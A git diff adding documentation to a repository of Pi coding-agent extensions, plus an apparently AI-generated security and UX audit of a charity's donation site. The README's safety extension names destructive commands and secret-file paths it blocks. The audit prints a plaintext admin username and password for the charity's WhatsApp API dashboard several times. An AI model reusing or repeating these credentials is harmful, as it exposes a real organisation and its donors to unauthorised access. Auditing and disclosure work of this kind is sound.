Pi subagents; each gets its own streaming live-progress widget | +| **tilldone** | `extensions/tilldone.ts` | Task discipline system — define tasks before starting work; tracks completion state across steps; shows persistent task list in footer with live progress | +| **agent-team** | `extensions/agent-team.ts` | Dispatcher-only orchestrator: the primary agent delegates all work to named specialist agents via `dispatch_agent`; shows a grid dashboard | +| **system-select** | `extensions/system-select.ts` | `/system` command to interactively switch between agent personas/system prompts from `.pi/agents/`, `.claude/agents/`, `.gemini/agents/`, `.codex/agents/` | +| **damage-control** | `extensions/damage-control.ts` | Real-time safety auditing — intercepts dangerous bash patterns and enforces path-based access controls from `.pi/damage-control-rules.yaml` | +| **agent-chain** | `extensions/agent-chain.ts` | Sequential pipeline orchestrator — chains multiple agents where each step's output feeds into the next step's prompt; use `/chain` to select and run | +| **agent-dashboard** | `extensions/agent-dashboard.ts` | Unified agent observability — passively tracks `dispatch_agent`, `subagent_create`, and `run_chain` across all orchestration interfaces; compact widget + `/dashboard` overlay with live, history, interface, and stats views | +| **pi-pi** | `extensions/pi-pi.ts` | Meta-agent that builds Pi agents using parallel research experts for documentation | +| **session-replay** | `extensions/session-replay.ts` | Scrollable timeline overlay of session history - showcasing customizable dialog UI | +| **theme-cycler** | `extensions/theme-cycler.ts` | Keyboard shortcuts (Ctrl+X/Ctrl+Q) and `/theme` command to cycle/switch between custom themes | + +--- + + +## Usage + +### Run a single extension + +```bash +pi -e extensions/.ts +``` + +### Stack multiple extensions + +Extensions compose — pass multiple `-e` flags: + +```bash +pi -e extensions/minimal.ts -e extensions/cross-agent.ts +``` + +### Use `just` recipes + +`just` wraps the most useful combinations. Run `just` with no arguments to list all available recipes: + +```bash +just +``` + +Common recipes: + +```bash +just pi # Plain Pi, no extensions +just ext-pure-focus # Distraction-free mode +just ext-minimal # Minimal context meter footer +just ext-cross-agent # Cross-agent command loading + minimal footer +just ext-purpose-gate # Purpose gate + minimal footer +just ext-tool-counter # Rich two-line footer with tool tally +just ext-tool-counter-widget # Per-tool widget above the editor +just ext-subagent-widget # Subagent spawner with live progress widgets +just ext-tilldone # Task discipline system with live progress tracking +just ext-agent-team # Multi-agent orchestration grid dashboard +just ext-system-select # Agent persona switcher via /system command +just ext-damage-control # Safety auditing + minimal footer +just ext-agent-chain # Sequential pipeline orchestrator with step chaining +just ext-agent-dashboard # Unified agent monitoring across team, subagent, and chain +just ext-pi-pi # Meta-agent that builds Pi agents using parallel experts +just ext-session-replay # Scrollable timeline overlay of session history +just ext-theme-cycler # Theme cycler + minimal footer +just all # Open every extension in its own terminal window +``` + +The `open` recipe allows you to spin up a new terminal window with any combination of stacked extensions (omit `.ts`): + +```bash +just open purpose-gate minimal tool-counter-widget +``` + +--- + +## Project Structure + +``` +pi-vs-cc/ +├── extensions/ # Pi extension source files (.ts) — one file per extension +├── specs/ # Feature specifications for extensions +├── .pi/ +│ ├── agent-sessions/ # Ephemeral session files (gitignored) +│ ├── agents/ # Agent definitions for team and chain extensions +│ │ ├── pi-pi/ # Expert agents for the pi-pi meta-agent +│ │ ├── agent-chain.yaml # Pipeline definition for agent-chain +│ │ ├── teams.yaml # Team definition for agent-team +│ │ └── *.md # Individual agent persona/system prompts +│ ├── skills/ # Custom skills +│ ├── themes/ # Custom themes (.json) used by theme-cycler +│ ├── damage-control-rules.yaml # Path/command rules for safety auditing +│ └── settings.json # Pi workspace settings +├── justfile # just task definitions +├── CLAUDE.md # Conventions and tooling reference (for agents) +├── THEME.md # Color token conventions for extension authors +└── TOOLS.md # Built-in tool function signatures available in extensions +``` + +--- + + +## Orchestrating Multi-Agent Workflows + +Pi's architecture makes it easy to coordinate multiple autonomous agents. This playground includes several powerful multi-agent extensions: + +### Subagent Widget (`/sub`) +The `subagent-widget` extension allows you to offload isolated tasks to background Pi agents while you continue working in the main terminal. Typing `/sub ` spawns a headless subagent that reports its streaming progress via a persistent, live-updating UI widget above your editor. + +### Agent Teams (`/team`) +The `agent-team` orchestrator operates as a dispatcher. Instead of answering prompts directly, the primary agent reviews your request, selects a specialist from a defined roster, and delegates the work via a `dispatch_agent` tool. +- Teams are configured in `.pi/agents/teams.yaml` where each top-level key is a team name containing a list of agent names (e.g., `frontend: [planner, builder, bowser]`). +- Individual agent personas (e.g., `builder.md`, `reviewer.md`) live in `.pi/agents/`. +- **pi-pi Meta-Agent**: The `pi-pi` team specifically delegates tasks to specialized Pi framework experts (`ext-expert.md`, `theme-expert.md`, `tui-expert.md`) located in `.pi/agents/pi-pi/` to build high-quality Pi extensions using parallel research. + - **Web Crawling Fallbacks**: To ingest the latest framework documentation dynamically, these experts use `firecrawl` as their default modern page crawler, but are explicitly programmed to safely fall back to the native `curl` baked into their bash toolset if Firecrawl fails or is unavailable. + +### Agent Chains (`/chain`) +Unlike the dynamic dispatcher, `agent-chain` acts as a sequential pipeline orchestrator. Workflows are defined in `.pi/agents/agent-chain.yaml` where the output of one agent becomes the input (`$INPUT`) to the next. +- Workflows are defined as a list of `steps`, where each step specifies an `agent` and a `prompt`. +- The `$INPUT` variable injects the previous step's output (or the user's initial prompt for the first step), and `$ORIGINAL` always contains the user's initial prompt. +- Example: The `plan-build-review` pipeline feeds your prompt to the `planner`, passes the plan to the `builder`, and finally sends the code to the `reviewer`. + +### Agent Dashboard (`/dashboard`) + +The `agent-dashboard` extension provides unified observability across all three orchestration interfaces. It passively intercepts `dispatch_agent`, `subagent_create`, `subagent_continue`, and `run_chain` tool calls and tracks every agent run. Stack it alongside any orchestration extension: + +```bash +pi -e extensions/agent-team.ts -e extensions/agent-dashboard.ts +``` + +The compact widget shows active/done/error counts. Use `/dashboard` to open a full-screen overlay with four views: **Live** (active agent cards), **History** (completed runs table), **Interfaces** (grouped by team/subagent/chain), and **Stats** (aggregate metrics and per-agent durations). + +--- + +## Safety Auditing & Damage Control + +The `damage-control` extension provides real-time security hooks to prevent catastrophic mistakes when agents execute bash commands or modify files. It uses Pi's `tool_call` event to intercept and evaluate every action against `.pi/damage-control-rules.yaml`. + +- **Dangerous Commands**: Uses regex (`bashToolPatterns`) to block destructive commands like `rm -rf`, `git reset --hard`, `aws s3 rm --recursive`, or `DROP DATABASE`. Some rules strictly block execution, while others (`ask: true`) pause execution to prompt you for confirmation. +- **Zero Access Paths**: Prevents the agent from reading or writing sensitive files (e.g., `.env`, `~/.ssh/`, `*.pem`). +- **Read-Only Paths**: Allows reading but blocks modifying system files or lockfiles (`package-lock.json`, `/etc/`). +- **No-Delete Paths**: Allows modifying but prevents deleting critical project configuration (`.git/`, `Dockerfile`, `README.md`). + +--- + +## Extension Author Reference + +Companion docs cover the conventions used across all extensions in this repo: + +- **[COMPARISON.md](COMPARISON.md)** — Feature-by-feature comparison of Claude Code vs Pi Agent across 12 categories (design philosophy, tools, hooks, SDK, enterprise, and more). +- **[PI_VS_OPEN_CODE.md](PI_VS_OPEN_CODE.md)** — Architectural comparison of Pi Agent vs OpenCode (open-source Claude Code alternative) focusing on extension capabilities, event lifecycle, and UI customization. +- **[RESERVED_KEYS.md](RESERVED_KEYS.md)** — Pi reserved keybindings, overridable keys, and safe keys for extension authors. +- **[THEME.md](THEME.md)** — Color language: which Pi theme tokens (`success`, `accent`, `warning`, `dim`, `muted`) map to which UI roles, with examples. +- **[TOOLS.md](TOOLS.md)** — Function signatures for the built-in tools available inside extensions (`read`, `bash`, `edit`, `write`). + +--- + +## Hooks & Events + +Side-by-side comparison of lifecycle hooks in [Claude Code](https://docs.anthropic.com/en/docs/claude-code/hooks) vs [Pi Agent](https://github.com/badlogic/pi-mono/blob/main/packages/coding-agent/docs/extensions.md#events). + +| Category | Claude Code | Pi Agent | Available In | +| ------------------- | ---------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------- | ------------ | +| **Session** | `SessionStart`, `SessionEnd` | `session_start`, `session_shutdown` | Both | +| **Input** | `UserPromptSubmit` | `input` | Both | +| **Tool** | `PreToolUse`, `PostToolUse`, `PostToolUseFailure` | `tool_call`, `tool_result`, `tool_execution_start`, `tool_execution_update`, `tool_execution_end` | Both | +| **Bash** | — | `BashSpawnHook`, `user_bash` | Pi | +| **Permission** | `PermissionRequest` | — | CC | +| **Compact** | `PreCompact` | `session_before_compact`, `session_compact` | Both | +| **Branching** | — | `session_before_fork`, `session_fork`, `session_before_switch`, `session_switch`, `session_before_tree`, `session_tree` | Pi | +| **Agent / Turn** | — | `before_agent_start`, `agent_start`, `agent_end`, `turn_start`, `turn_end` | Pi | +| **Message** | — | `message_start`, `message_update`, `message_end` | Pi | +| **Model / Context** | — | `model_select`, `context` | Pi | +| **Sub-agents** | `SubagentStart`, `SubagentStop`, `TeammateIdle`, `TaskCompleted` | — | CC | +| **Config** | `ConfigChange` | — | CC | +| **Worktree** | `WorktreeCreate`, `WorktreeRemove` | — | CC | +| **System** | `Stop`, `Notification` | — | CC | + + + +## Resources + +## Pi Documentation + +| Doc | Description | +| ------------------------------------------------------------------------------------------------------- | ---------------------------------- | +| [Mario's Twitter](https://x.com/badlogicgames) | Creator of Pi Coding Agent | +| [README.md](https://github.com/badlogic/pi-mono/blob/main/packages/coding-agent/README.md) | Overview and getting started | +| [sdk.md](https://github.com/badlogic/pi-mono/blob/main/packages/coding-agent/docs/sdk.md) | TypeScript SDK reference | +| [rpc.md](https://github.com/badlogic/pi-mono/blob/main/packages/coding-agent/docs/rpc.md) | RPC protocol specification | +| [json.md](https://github.com/badlogic/pi-mono/blob/main/packages/coding-agent/docs/json.md) | JSON event stream format | +| [providers.md](https://github.com/badlogic/pi-mono/blob/main/packages/coding-agent/docs/providers.md) | API keys and provider setup | +| [models.md](https://github.com/badlogic/pi-mono/blob/main/packages/coding-agent/docs/models.md) | Custom models (Ollama, vLLM, etc.) | +| [extensions.md](https://github.com/badlogic/pi-mono/blob/main/packages/coding-agent/docs/extensions.md) | Extension system | +| [skills.md](https://github.com/badlogic/pi-mono/blob/main/packages/coding-agent/docs/skills.md) | Skills (Agent Skills standard) | +| [settings.md](https://github.com/badlogic/pi-mono/blob/main/packages/coding-agent/docs/settings.md) | Configuration | +| [compaction.md](https://github.com/badlogic/pi-mono/blob/main/packages/coding-agent/docs/compaction.md) | Context compaction | + + +## Master Agentic Coding +> Prepare for the future of software engineering + +Learn tactical agentic coding patterns with [Tactical Agentic Coding](https://agenticengineer.com/tactical-agentic-coding?y=pivscc) + +Follow the [IndyDevDan YouTube channel](https://www.youtube.com/@indydevdan) to improve your agentic coding advantage. diff --git a/RESERVED_KEYS.md b/RESERVED_KEYS.md new file mode 100644 index 0000000..19604ea --- /dev/null +++ b/RESERVED_KEYS.md @@ -0,0 +1,75 @@ +# Pi Reserved Keybindings + +Extensions **cannot** override these shortcuts — they are silently skipped by `registerShortcut()`. + +| Key | Action | +|-----|--------| +| `escape` | interrupt | +| `ctrl+c` | clear / copy | +| `ctrl+d` | exit | +| `ctrl+z` | suspend | +| `shift+tab` | cycleThinkingLevel | +| `ctrl+p` | cycleModelForward | +| `ctrl+shift+p` | cycleModelBackward | +| `ctrl+l` | selectModel | +| `ctrl+o` | expandTools | +| `ctrl+t` | toggleThinking | +| `ctrl+g` | externalEditor | +| `alt+enter` | followUp | +| `enter` | submit / selectConfirm | +| `ctrl+k` | deleteToLineEnd | + +## Non-Reserved Built-in Keys + +Extensions **can** override these (Pi will warn but allow it). + +| Key | Action | +|-----|--------| +| `up` / `down` | cursor / select navigation | +| `left` / `right` | cursor movement | +| `ctrl+a` | cursorLineStart | +| `ctrl+b` | cursorLeft | +| `ctrl+e` | cursorLineEnd | +| `ctrl+f` | cursorRight | +| `ctrl+n` | toggleSessionNamedFilter | +| `ctrl+r` | renameSession | +| `ctrl+s` | toggleSessionSort | +| `ctrl+u` | deleteToLineStart | +| `ctrl+v` | pasteImage | +| `ctrl+w` | deleteWordBackward | +| `ctrl+y` | yank | +| `ctrl+]` | jumpForward | +| `ctrl+-` | undo | +| `ctrl+alt+]` | jumpBackward | +| `alt+b` | cursorWordLeft | +| `alt+d` | deleteWordForward | +| `alt+f` | cursorWordRight | +| `alt+y` | yankPop | +| `alt+up` | dequeue | +| `alt+backspace` | deleteWordBackward | +| `alt+delete` | deleteWordForward | +| `alt+left` / `alt+right` | cursorWord left/right | +| `ctrl+left` / `ctrl+right` | cursorWord left/right | +| `shift+enter` | newLine | +| `home` / `end` | cursorLineStart/End | +| `pageUp` / `pageDown` | page navigation | +| `backspace` | deleteCharBackward | +| `delete` | deleteCharForward | +| `tab` | tab | + +## Safe Keys for Extensions + +These `ctrl+letter` combos are **free** and work in all terminals: + +| Key | Notes | +|-----|-------| +| `ctrl+x` | Safe | +| `ctrl+q` | May be intercepted by terminal (XON/XOFF flow control) | +| `ctrl+h` | Alias for backspace in some terminals — use with caution | + +## macOS Notes + +- `alt+letter` combos type special characters in most macOS terminals — they don't send alt sequences +- `ctrl+shift+letter` requires Kitty keyboard protocol (Kitty, Ghostty, WezTerm) +- `ctrl+alt+letter` works in legacy terminals but may conflict with macOS system shortcuts +- **Safest bet on macOS:** stick to `ctrl+letter` combos from the free list above, or use `f1`–`f12` diff --git a/THEME.md b/THEME.md new file mode 100644 index 0000000..9ea21c1 --- /dev/null +++ b/THEME.md @@ -0,0 +1,29 @@ +# Theme Color Conventions + +Extensions in this repo use a consistent color language mapped to Pi's theme tokens. Follow these rules when building new extensions. + +## Color Roles + +| Token | Role | Used For | +|-----------|-------------------|-----------------------------------------------| +| `success` | Primary value | Token counts, hash fills, branch name, counts | +| `accent` | Secondary value | Percentages, tool names, token out counts | +| `warning` | Punctuation/frame | Brackets `[]`, parens `()`, pipes `|`, cost | +| `dim` | Filler/spacing | Dashes, labels ("in", "out"), separators | +| `muted` | Subdued text | CWD name, fallback states | + +## Examples + +``` +Context meter: warning([) success(###) dim(---) warning(]) accent(30%) +Git branch: dim(pi-vs-cc) warning(() success(main) warning()) +Token stats: success(1.2k) dim(in) accent(340) dim(out) warning($0.0042) +Tool tally: accent(Bash) success(3) warning(|) accent(Read) success(7) +``` + +## Rationale + +- **Green (success)** draws the eye to live values that change — counts, filled bars, branch +- **Cyan (accent)** highlights identifiers and secondary metrics — names, percentages +- **Yellow (warning)** frames structure — delimiters tell you where one value ends and the next begins +- **Dim** recedes into the background — labels and filler shouldn't compete for attention diff --git a/TOOLS.md b/TOOLS.md new file mode 100644 index 0000000..c9d8504 --- /dev/null +++ b/TOOLS.md @@ -0,0 +1,27 @@ +```ts +// Read the contents of a file. Supports text files and images. Output is truncated to 2000 lines or 50KB. +function read( + path: string, // Path to the file to read (relative or absolute) + limit?: number, // Maximum number of lines to read + offset?: number // Line number to start reading from (1-indexed) +): string; + +// Execute a bash command in the current working directory. Returns stdout and stderr. +function bash( + command: string, // Bash command to execute + timeout?: number // Timeout in seconds (optional, no default timeout) +): string; + +// Edit a file by replacing exact text. The oldText must match exactly (including whitespace). +function edit( + path: string, // Path to the file to edit (relative or absolute) + oldText: string, // Exact text to find and replace (must match exactly) + newText: string // New text to replace the old text with +): void; + +// Write content to a file. Creates the file if it doesn't exist, overwrites if it does. Automatically creates parent directories. +function write( + path: string, // Path to the file to write (relative or absolute) + content: string // Content to write to the file +): void; +``` diff --git a/audit-give-charityright.md b/audit-give-charityright.md new file mode 100644 index 0000000..1eeaadf --- /dev/null +++ b/audit-give-charityright.md @@ -0,0 +1,334 @@ +# Audit Report: give.charityright.org.uk +**Date:** 9 March 2026 +**Auditor:** Claude Code (automated Playwright audit) +**Viewport tested:** 1440×900 (desktop), 375×812 (mobile) +**Entry URL:** https://give.charityright.org.uk → auto-redirects to `/sadaqah` + +--- + +## Overview + +`give.charityright.org.uk` is the donation micro-site for Charity Right (UK Charity #1155108). It is a **single-page, campaign-focused donation portal** currently showing a **Sadaqah fundraising page**. The site allows visitors to: + +- Select a donation amount (slider + quick-pick buttons, £3–£15 default range) +- Optionally add UK Gift Aid (with house number + postcode collection) +- Complete payment via Stripe (card + Google Pay) +- Share the campaign + +**Tech stack clues:** +- Custom server-side rendered (SSR) app — no Vue/React/Next fingerprint detected at root +- Stripe.js v3 for payments +- Cloudflare (CDN, challenge platform, Turnstile/hCaptcha) +- Google Tag Manager (GTM-PX5XJXX) +- TikTok Pixel, Facebook Pixel, Google Analytics (multiple GA4 properties), Hotjar 3395285 +- CookieHub for consent management +- WAHA (WhatsApp HTTP API) running at `waha.charityright.org.uk` — separate service, credentials leaked in console (see Security) + +--- + +## Phase 1 — Homepage Audit + +### Redirect behaviour +- `/` → `/sadaqah` (permanent or temporary redirect — not a true homepage, no navigation) + +### Page title +- ✅ `Give Sadaqah — Charity Right` — clear, descriptive + +### Meta tags +| Tag | Value | Issue | +|-----|-------|-------| +| `` | **MISSING** | ❌ No standard description tag | +| `` | `Give Sadaqah — Charity Right` | ✅ | +| `` | `50p feeds a child. Give Sadaqah in 30 seconds.` | ✅ | +| `` | `https://www.charityright.org.uk/wp-content/uploads/2026/02/cr-wrong-1.jpg` | ⚠️ Cross-domain OG image (WordPress) | +| `` | **MISSING** | ⚠️ No robots directives | +| `` | `width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no,viewport-fit=cover` | ⚠️ `user-scalable=no` disables pinch-zoom — accessibility violation (WCAG 1.4.4) | + +### Console errors on load +- ✅ 0 JS errors on sadaqah page itself +- 1 WARNING: Hotjar refuses to load (detects headless browser user-agent) — benign in production + +### Cookie consent +- ✅ CookieHub banner shown on first visit (`dialog "About cookies on this site"`) +- ✅ Three options: "Allow all cookies", "Deny all", "Cookie settings" +- ⚠️ "Cookie settings" link uses `href="#"` (dead anchor) — should be `href` to settings panel or use `button` semantics + +--- + +## Phase 2 — Navigation & Links + +The site has **no navigation bar or header menu**. It is a single campaign page only. There are no internal links to other sections of the give site. + +**External link found:** +- `https://www.charityright.org.uk/donate/` — links to main website (different domain) + +**Routes tested:** + +| Path | Result | +|------|--------| +| `/sadaqah` | ✅ 200 — Sadaqah donation page | +| `/zakat` | ❌ 404 — "Not Found" blank page | +| `/fidya` | ❌ 404 — "Not Found" blank page | +| `/qurban` | ❌ 404 — "Not Found" blank page | +| `/kaffarah` | ❌ 404 — "Not Found" blank page | +| `/login` | ❌ 404 — "Not Found" blank page | +| `/register` | ❌ 404 — "Not Found" blank page | +| `/campaigns` | ❌ 404 — "Not Found" blank page | +| `/donate` | ❌ 404 — "Not Found" blank page | +| `/appeal` | ❌ 404 — "Not Found" blank page | + +**Key issue:** The 404 page returns **no ``** tag and **no styled error page** — just the raw text "Not Found". There is no redirect to a helpful error page and no way back to a valid URL. + +--- + +## Phase 3 — Donation Flow + +### Flow architecture +The site uses an **inline slide-up payment panel** (overlay `div#overlay`) rather than a separate checkout page. This is a smooth UX pattern. + +### Step 1: Amount selection +- Slider control: 6 (£6 default, feeds 12 children @ 50p/meal) +- Quick-pick buttons: £3, £6, £9, £12, £15 +- ✅ Real-time meal counter updates +- ✅ Clear impact messaging ("Feeds 12 children") + +### Step 2: Gift Aid +- ✅ Gift Aid toggle button (pre-selected/enabled by default) +- ✅ Calculates HMRC top-up (£6 → £7.50 total) +- House number + postcode fields appear when Gift Aid active +- ⚠️ **No validation visible** if Gift Aid address fields are left empty when proceeding +- ⚠️ Gift Aid declaration text is small/light — readability concern + +### Step 3: "Give £6 Sadaqah" button +- Clicking opens a side/bottom panel (`div#overlay.open`) +- The overlay **blocks interaction** with the main page while open (correct modal behaviour) + +### Step 4: Checkout panel ("Complete your Sadaqah") +Fields present: +| Field | Type | Placeholder | Label visible | +|-------|------|-------------|---------------| +| Full name | `textbox` | "As it appears on your card" | ✅ "Full name" | +| Email | `textbox` | "For your donation receipt" | ✅ "Email" | +| Card number | Stripe iframe | "Card number" | ✅ "Number" | +| Expiry | Stripe iframe | "MM / YY" | ✅ | +| CVC | Stripe iframe | "CVC" | ✅ | + +- "Donate £6" button is **`disabled` by default** — only enabled when Stripe iframe reports complete card details +- ✅ Correct — prevents empty form submission +- ⚠️ Clicking "Give £6 Sadaqah" without filling name/email still opens the overlay — those fields have **no pre-validation** before opening the panel +- ✅ No `<form>` element (0 forms found) — form data handled entirely via JS/Stripe Elements +- ✅ Google Pay option available in Stripe Elements +- ✅ Trust signals: "🔒 Encrypted · Powered by Stripe" and "256-bit secure · No account needed · UK Charity 1155108" + +### Empty form submission +- Donate button stays disabled until Stripe card fields are valid — no empty submit possible via UI +- **No visible validation errors** for empty name/email fields — they appear to be validated client-side by Stripe before enabling the button (TBC) + +### Donation amount £1 test +- Minimum selectable via slider unclear (minimum appears to be £3 via preset buttons) +- Manual slider minimum not tested — slider defaults to £6 + +--- + +## Phase 4 — Mobile Responsiveness (375×812) + +### Layout +- ✅ Page renders correctly at 375×812 +- ✅ Same UI elements visible — no hidden/broken sections +- ✅ Campaign image scales correctly +- ✅ Quick-pick amount buttons visible and tappable +- ✅ Gift Aid toggle renders correctly +- ✅ Checkout panel (overlay) renders at mobile size +- ⚠️ `user-scalable=no` in viewport meta means users **cannot zoom** on mobile — this is an accessibility violation for low-vision users +- ⚠️ No hamburger menu (site is single-page, so this is acceptable, but there's no navigation at all) +- ✅ No horizontal scroll detected at 375px width + +--- + +## Phase 5 — Performance & Accessibility + +### Accessibility +| Check | Result | Issue | +|-------|--------|-------| +| Images missing `alt` | 0 | ✅ | +| Dead anchors `href="#"` | 1 | ⚠️ Cookie settings button uses `href="#"` | +| Unlabelled inputs | 1 | ⚠️ One input has no `aria-label` or `placeholder` | +| `user-scalable=no` in viewport | YES | ❌ WCAG 1.4.4 violation | +| Inline `onclick` handlers | 3 | ⚠️ 3 elements use inline event handlers | +| No `<nav>` landmark | Confirmed | ⚠️ No navigation landmark (single-page is valid but no skip-to-content) | +| No `<meta name="description">` | Confirmed | ❌ SEO/accessibility issue | + +### Performance +- **Page load time:** 2,433ms (performance.timing) — acceptable +- **External scripts loaded:** 9 external `<script src>` tags + +**External scripts inventory:** +1. `analytics.tiktok.com` — TikTok Pixel (×3 scripts) +2. `connect.facebook.net` — Facebook Pixel (×2 scripts, including large config JS) +3. `static.hotjar.com` — Hotjar session recording +4. `www.googletagmanager.com` — GTM (×1) + GA4 gtag (×4 separate GA properties!) +5. `cdn.cookiehub.eu` — CookieHub consent +6. `js.stripe.com/v3/` — Stripe.js +7. `googleads.g.doubleclick.net` — Google Ads conversion tracking (×2) + +**⚠️ Performance concern:** 4 separate Google Analytics 4 properties (`G-1B4QR9YTTB`, `G-6RGJ9BTW2Q`, `G-4DB6TJNHZR`, `AW-876060108`, `AW-925998688`) + GTM + TikTok + Facebook + Hotjar = **significant tracking script bloat**. Each fires multiple analytics events per page load. + +**Network errors (analytics):** Multiple `net::ERR_ABORTED` for analytics.google.com POSTs on page navigation — these appear to be in-flight beacons aborted during navigation (non-critical but noisy). + +--- + +## Phase 6 — Key Pages + +| Page | Status | Notes | +|------|--------|-------| +| `/sadaqah` | ✅ 200 | Main and only working page | +| `/zakat` | ❌ 404 | Common Islamic giving category — missing | +| `/fidya` | ❌ 404 | Ramadan-specific — missing | +| `/qurban` | ❌ 404 | Eid-related — missing | +| `/kaffarah` | ❌ 404 | Missing | +| `/login` | ❌ 404 | No user accounts on this domain | +| `/register` | ❌ 404 | No user accounts on this domain | +| `/campaigns` | ❌ 404 | Missing | + +The site appears to only have the one `/sadaqah` route currently live. All other paths return bare 404 responses. + +--- + +## Phase 7 — Security + +### HTTPS +- ✅ Site is fully HTTPS (`https://give.charityright.org.uk`) +- ✅ Stripe iframe loads over HTTPS +- ✅ No mixed content detected +- ✅ Cloudflare CDN with challenge platform (`cdn-cgi/challenge-platform`) + +### Forms +- ✅ No `<form>` elements found — payment handled entirely via Stripe.js (no raw card data hits the server) +- ✅ Stripe tokenisation means card details never touch CharityRight servers + +### Cookies +| Cookie | Domain | Secure? | HttpOnly? | Concern | +|--------|--------|---------|-----------|---------| +| `cf_clearance` | `.charityright.org.uk` | ✅ (HTTPS-only session) | N/A | Cloudflare bot protection | +| `__stripe_mid`, `__stripe_sid` | `.give.charityright.org.uk` | ✅ | Unknown | Stripe session — should be HttpOnly | +| `cookiehub` | `.charityright.org.uk` | ✅ | N/A | Consent preferences | +| `_ga`, `_ga_*` | `.charityright.org.uk` | ✅ | N/A | Google Analytics | +| `_fbp` | `.charityright.org.uk` | ✅ | N/A | Facebook Pixel | +| `_ttp` | `.charityright.org.uk` + `.tiktok.com` | ✅ | N/A | TikTok tracking | +| `IDE` | `.doubleclick.net` | ✅ | N/A | Google Ads | + +⚠️ `__stripe_mid` and `__stripe_sid` are visible in `document.cookie` — meaning they are **not HttpOnly**. Stripe session cookies should ideally be HttpOnly to prevent XSS token theft (though Stripe sets these itself — CharityRight cannot control this). + +### 🚨 CRITICAL: Credentials in Browser Console + +**From previous browsing session logs captured in the test environment:** + +``` +[ERROR] SecurityError: Failed to execute 'replaceState' on 'History': +A history state object with URL +'https://waha.charityright.org.uk/dashboard/' cannot be created in a document +with origin 'https://waha.charityright.org.uk' and URL +'https://admin:J59vAcWI56BReJEFCi@waha.charityright.org.uk/dashboard/'. +``` + +**This is a CRITICAL security issue.** The URL `https://admin:J59vAcWI56BReJEFCi@waha.charityright.org.uk/dashboard/` contains **basic authentication credentials in plaintext** (`admin:J59vAcWI56BReJEFCi`). These were captured in the browser's console log, meaning: + +1. Anyone with DevTools access to `waha.charityright.org.uk` could see these credentials +2. The credentials are for the WAHA (WhatsApp HTTP API) admin dashboard +3. WAHA controls WhatsApp messaging for the organisation — a breach here could expose donor communications + +**Immediate action required:** Change the WAHA admin password and remove credentials from any hardcoded URLs. Use proper session-based auth instead. + +### Hub API 401 Errors +Multiple failed requests to `hub.quikcue.com/api/user/*` (401 Unauthorized): +``` +GET https://hub.quikcue.com/api/user/lifecycle → 401 +GET https://hub.quikcue.com/api/user/admin → 401 +GET https://hub.quikcue.com/api/user/init → 401 +``` +The give.charityright.org.uk site is calling **QuikCue's hub API** on every page load and receiving 401s. These appear to be unauthenticated calls. This could indicate a misconfigured integration or leftover code from a shared codebase. + +### Development URL in Production +From console errors: `http://localhost:3000/api/pledges → 400 Bad Request` +A hardcoded `localhost:3000` URL is being called from production. This is a development/staging configuration leak. + +--- + +## Console Errors Summary + +| Error | Source | Severity | +|-------|--------|----------| +| `localhost:3000/api/pledges` returning 400 | Sadaqah page JS | 🔴 High — dev URL in prod | +| `hub.quikcue.com/api/user/*` returning 401 (×8+ times) | Page load | 🟠 Medium — unnecessary failed requests | +| `waha.charityright.org.uk` credentials in URL | WAHA dashboard JS | 🔴 Critical — credential leak | +| `waha.charityright.org.uk/api/*` returning 401 | WAHA dashboard | 🟡 Low — expected if not logged in | +| `give.charityright.org.uk/favicon.ico` returning 404 | Browser | 🟡 Low — missing favicon | +| `analytics.google.com` ERR_ABORTED (×6) | Navigation beacons | 🟢 Info — benign race condition | + +--- + +## Summary Table + +| # | Issue | Location | Severity | Category | +|---|-------|----------|----------|----------| +| 1 | **Credentials in URL**: `admin:J59vAcWI56BReJEFCi` in WAHA console error | `waha.charityright.org.uk` | 🔴 **Critical** | Security | +| 2 | **`localhost:3000/api/pledges`** called from production | `/sadaqah` JS | 🔴 **Critical** | Config / Security | +| 3 | **All routes 404** except `/sadaqah` — no error page, no redirect | `/zakat`, `/fidya`, etc. | 🟠 **High** | Navigation | +| 4 | **404 page has no title, no styling, no back link** | All 404 responses | 🟠 **High** | UX | +| 5 | **`hub.quikcue.com` API called 8+ times with 401** on every page load | `/sadaqah` | 🟠 **High** | Performance / Config | +| 6 | **Missing `<meta name="description">`** | All pages | 🟠 **High** | SEO | +| 7 | **`user-scalable=no` in viewport meta** — disables pinch zoom | All pages | 🟠 **High** | Accessibility (WCAG 1.4.4) | +| 8 | **4 separate GA4 properties** + 2 Google Ads + TikTok + Facebook + Hotjar | All pages | 🟡 **Medium** | Performance / Privacy | +| 9 | **No Gift Aid address validation** before proceeding to checkout | `/sadaqah` | 🟡 **Medium** | UX / Data quality | +| 10 | **Name/email not validated** before overlay opens | `/sadaqah` checkout | 🟡 **Medium** | UX | +| 11 | **OG image served from WordPress domain** (`charityright.org.uk/wp-content/`) | `/sadaqah` | 🟡 **Medium** | Reliability / Performance | +| 12 | **No `<meta name="robots">`** directive | All pages | 🟡 **Medium** | SEO | +| 13 | **`href="#"`** on cookie settings anchor | Cookie banner | 🟡 **Medium** | Accessibility | +| 14 | **1 unlabelled input** (no aria-label, no placeholder) | `/sadaqah` | 🟡 **Medium** | Accessibility | +| 15 | **3 inline `onclick` handlers** | `/sadaqah` | 🟡 **Medium** | Code quality | +| 16 | **Hotjar not loading** (detects headless/bot UA) | All pages | 🟡 **Medium** | Analytics | +| 17 | **Missing favicon** (404 on `/favicon.ico`) | All pages | 🟢 **Low** | Branding | +| 18 | **No skip-to-content link** | All pages | 🟢 **Low** | Accessibility | +| 19 | **No `<nav>` landmark** | All pages | 🟢 **Low** | Accessibility | +| 20 | **Stripe session cookies not HttpOnly** | `/sadaqah` | 🟢 **Low** | Security (Stripe-controlled) | + +--- + +## Recommendations (Priority Order) + +### 🔴 Immediate (Critical) +1. **Rotate WAHA admin credentials** — `admin:J59vAcWI56BReJEFCi` is exposed in browser console. Change password immediately. Audit who accessed WAHA. +2. **Remove `localhost:3000` URL** from production build — likely a `.env` misconfiguration. The `/api/pledges` call should point to the production API endpoint. + +### 🟠 High Priority +3. **Add styled 404 page** with charity branding, navigation back to `/sadaqah`, and proper `<title>`. +4. **Fix `hub.quikcue.com` API calls** — either authenticate them properly or remove them from the give site (wrong codebase/integration). +5. **Add `<meta name="description">`** — currently only `og:description` is set. +6. **Remove `user-scalable=no`** from viewport meta — replace with `user-scalable=yes` to comply with WCAG 1.4.4. + +### 🟡 Medium Priority +7. **Audit tracking scripts** — consolidate 4 GA4 properties if possible, remove duplicates. Each extra script adds load time and GDPR surface area. +8. **Validate Gift Aid fields before opening checkout 